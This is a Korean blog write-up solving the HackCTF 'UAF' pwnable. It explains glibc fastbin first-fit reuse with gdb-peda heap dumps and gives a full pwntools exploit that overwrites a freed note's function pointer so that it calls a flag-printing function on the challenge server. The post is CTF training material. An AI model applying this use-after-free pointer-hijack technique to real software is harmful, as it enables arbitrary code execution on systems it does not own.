Wargame/HackCTF

[Pwnable] UAF

210_ 2020. 1. 5. 13:18

들어가며

이 문제는 heap exploitation 을 공부하고 처음으로 다룬 문제이다.

역시 문제를 풀어보는 것이 공부에 도움이 되는 것 같다.

malloc에서 first-fit 알고리즘을 이용한 공격기법인 UAF(User After Free)로 문제를 풀 수 있다.

 


first-fit 이란?

first-fit 알고리즘은 malloc함수에서 재할당 시에 행하는 알고리즘이다.

해제된 Chunk가 fastbinsY에서 관리될 경우 해제된 Heap의 크기와 동일하게 할당하는 알고리즘이다.

 

예시를 들어 설명하면 다음과 같다.

a = malloc(8) -> free(a) 하게 되면, fastbinsY[0]에는 a의 주소가 들어가게 된다.

이때, b = malloc(8) 을 하면 b의 주소는 이전에 할당받은 a의 주소와 같다.

 


탐색

문제에서 <add_note> 중, malloc이 일어나는 곳은 총 2곳이다.

gdb-peda$ pd add_note
Dump of assembler code for function add_note:
...
    0x080486c8 <+82>:    push   0x8
    0x080486ca <+84>:    call   0x80484e0 <malloc@plt>
    0x080486cf <+89>:    add    esp,0x10
    0x080486d2 <+92>:    mov    edx,eax
    0x080486d4 <+94>:    mov    eax,DWORD PTR [ebp-0x1c]
    0x080486d7 <+97>:    mov    DWORD PTR [eax*4+0x804b070],edx
    0x080486de <+104>:   mov    eax,DWORD PTR [ebp-0x1c]
    0x080486e1 <+107>:   mov    eax,DWORD PTR [eax*4+0x804b070]
...
    0x08048706 <+144>:    mov    eax,DWORD PTR [ebp-0x1c]
    0x08048709 <+147>:    mov    eax,DWORD PTR [eax*4+0x804b070]
    0x08048710 <+154>:    mov    DWORD PTR [eax],0x804865b
...
End of assembler dump.
gdb-peda$ x/wx 0x804b070
0x804b070 <notelist>:   0x08fdc008
gdb-peda$ x/16wx 0x08fdc000
0x8fdc000:      0x00000000      0x00000011      0x0804865b      0x08fdc018
0x8fdc010:      0x00000000      0x00000011      0x41414141      0x0000000a
0x8fdc020:      0x00000000      0x00020fe1      0x00000000      0x00000000
0x8fdc030:      0x00000000      0x00000000      0x00000000
gdb-peda$ x/i 0x804865b
   0x804865b <print_note_content>:      push   ebp

첫번째 malloc 구간에서는 malloc(8)을 하며,

<print_note_content>함수 주소를 &notelist에 넣는다.ebp+0x1cnotelist_index이다.

두번째 malloc 구간에서는 malloc(input) 한다. 이때, input은 사용자가 입력한 값이다.

 

&notelist는 첫번째 malloc 구간의 Data를 저장한다. -> 이게 제일 중요!

 


 

문제를 풀기 위해선, 출제자가 풀 수 있게끔 만들어 놓은 함수를 자세히 봐야한다.

이 문제에선 <print_note> 함수를 주의깊게 봐야한다.

gdb-peda$ pd print_note
Dump of assembler code for function add_note:
...
   0x08048953 <+126>:   mov    eax,DWORD PTR [ebp-0x14]
   0x08048956 <+129>:   mov    eax,DWORD PTR [eax*4+0x804b070]
   0x0804895d <+136>:   mov    eax,DWORD PTR [eax]
   0x0804895f <+138>:   mov    edx,DWORD PTR [ebp-0x14]
   0x08048962 <+141>:   mov    edx,DWORD PTR [edx*4+0x804b070]
   0x08048969 <+148>:   sub    esp,0xc
   0x0804896c <+151>:   push   edx
   0x0804896d <+152>:   call   eax
...
End of assembler dump.
gdb-peda$ i r eax
eax            0x0      0x0
gdb-peda$ x/wx $eax*4+0x804b070
0x804b070 <notelist>:   0x08fdc008
gdb-peda$ x/wx 0x08fdc008
0x8fdc008:      0x0804865b

&notelist에서 사용자 에게 받은 index를 더한 후, 그 값의 주소를 호출한다.

 

정리하면,

1. <add_note>는 8bytes와 사용자 지정 크기로 malloc 함수를 호출하여 할당한다.

이때, &notelist는 첫번째 malloc 구간의 Data를 저장한다.

2. 8bytes를 할당받은 곳의 Data영역에는 print_note_content함수주소가 담겨있다.

3. <print_note> 함수에서 <add_note>에서 등록할때의 &notelist에 저장된 주소를 호출한다.

 

3번에서 나는 <add_note><del_note>를 잘 이용하면 &notelist에 저장된 주소를 덮을 수 있지 않을까 생각했다.

덮을 주소는 <magic>이라는 함수로, system("/bin/cat flag");를 실행해주는 함수이다.

 


풀이

1. 8크기의 note를 2개 추가한다.

# Stage 1
# 0x8fdc000: 0x00000000      0x00000011      0x0804865b      0x08fdc018
# 0x8fdc010: 0x00000000      0x00000011      0x41414141      0x00000000
# 0x8fdc020: 0x00000000      0x00000011      0x0804865b      0x08fdc038
# 0x8fdc030: 0x00000000      0x00000011      0x42424242      0x00000000
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
add_note(8, 'A'*4)
add_note(8, 'B'*4)

 

2. 이후 2개의 note를 삭제한다.

# Stage 2
# 0x8fdc000: 0x00000000      0x00000011      0x08fdc010      0x08fdc018
# 0x8fdc010: 0x00000000      0x00000011      0x08fdc020      0x00000000
# 0x8fdc020: 0x00000000      0x00000011      0x08fdc030      0x08fdc038
# 0x8fdc030: 0x00000000      0x00000011      0x00000000      0x00000000
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
# fastbinsY = {0x08fdc000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
del_note(1)
del_note(0)

이때, fastbinsY는 다음과 같이 바뀐다.

1. del_note(1)
  fastbinY {0x08fdc020 -> 0x08fdc030}
2. del_note(0)
  fastbinY {0x08fdc000 -> 0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}

 

3. 크기가 다른(16bytes) note를 1개 추가한다.

# Stage 3
# 0x8fdc000: 0x00000000      0x00000011      0x0804865b      0x08fdc048
# 0x8fdc010: 0x00000000      0x00000011      0x08fdc020      0x00000000
# 0x8fdc020: 0x00000000      0x00000011      0x08fdc030      0x08fdc038
# 0x8fdc030: 0x00000000      0x00000011      0x00000000      0x00000000
# 0x8fdc040: 0x00000000      0x00000019      0x43434343      0x43434343
# 0x8fdc050: 0x43434343      0x43434343      0x00000000      0x00020fa9 -> top chunk
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028,
# notelist[2] = 0x8fdc008
# fastbinsY = {0x08fdc010, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
add_note(16, 'C'*16)

이때, 첫번째 할당에서 malloc(8)은 first-fit 알고리즘을 통해서 0x8fdc000을 할당받는다.

fastbinsY는 다음과 같이 바뀐다.

fastbinY에서 가장 최근에 free된 8bytes의 chunck를 malloc 재할당에 사용하였다.

3. add_note(16)
  fastbinY {0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}

 

4. 8bytes의 크기의 note를 추가한다. 이때, text는 magic의 주소로 준다.

# Stage 4
# 0x8fdc000: 0x00000000      0x00000011      0x0804865b      0x08fdc048
# 0x8fdc010: 0x00000000      0x00000011      0x0804865b      0x08fdc028
# 0x8fdc020: 0x00000000      0x00000011      0x08048986      0x08fdc038
# 0x8fdc030: 0x00000000      0x00000011      0x00000000      0x00000000
# 0x8fdc040: 0x00000000      0x00000019      0x43434343      0x43434343
# 0x8fdc050: 0x43434343      0x43434343      0x00000000      0x00020fa9 -> top chunk
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
# notelist[2] = 0x8fdc008, notelist[3] = 0x8fdc018
# fastbinsY = {0x08fdc030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
add_note(8, p32(magic))

이때, 첫번째 할당에서 malloc(8)은 first-fit 알고리즘을 통해서 0x8fdc010을 할당받는다.

또한 두번째 할당에서도 마찬가지로 malloc(8)이므로, 0x8fdc020을 할당받는다.

fastbinsY는 다음과 같이 바뀐다.

4. add_note(8)
  fastbinY {0x08fdc020 -> 0x08fdc030}
  fastbinY {0x08fdc030}

 

5. notelist에서 1번째 index를 <print_note>의 param으로 넣어준다.

gdb-peda$ pd print_note
Dump of assembler code for function add_note:
...
   0x08048953 <+126>:   mov    eax,DWORD PTR [ebp-0x14]
   0x08048956 <+129>:   mov    eax,DWORD PTR [eax*4+0x804b070]
   0x0804895d <+136>:   mov    eax,DWORD PTR [eax]
   0x0804895f <+138>:   mov    edx,DWORD PTR [ebp-0x14]
   0x08048962 <+141>:   mov    edx,DWORD PTR [edx*4+0x804b070]
   0x08048969 <+148>:   sub    esp,0xc
   0x0804896c <+151>:   push   edx
   0x0804896d <+152>:   call   eax
...
End of assembler dump.
gdb-peda$ i r eax
eax            0x1      0x1
gdb-peda$ x/wx $eax*4+0x804b070
0x804b074 <notelist+4>:   0x08fdc028
gdb-peda$ x/wx 0x08fdc028
0x8fdc028:      0x08048986
gdb-peda$ x/4wx 0x08fdc020
0x8fdc020: 0x00000000      0x00000011      0x08048986      0x08fdc038
gdb-peda$ x/i 0x08048986
   0x8048986 <magic>:   push   ebp

 

exploit.py

from pwn import *

def add_note(size, text):
	r.sendlineafter(' :', '1')
	r.sendlineafter(' :', str(size))
	r.sendlineafter(' :', text)

def del_note(index):
	r.sendlineafter(' :', '2')
	r.sendlineafter(' :', str(index))

def print_note(index):	
	r.sendlineafter(' :', '3')
	r.sendlineafter(' :', str(index))

r = remote('ctf.j0n9hyun.xyz', 3020)

magic = 0x08048986

add_note(8, 'A'*4)
add_note(8, 'B'*4)

del_note(1)
del_note(0)

add_note(16, 'C'*16)
add_note(8, p32(magic))

print_note(1)

r.recvuntil(':')
print(r.recvuntil('\n'))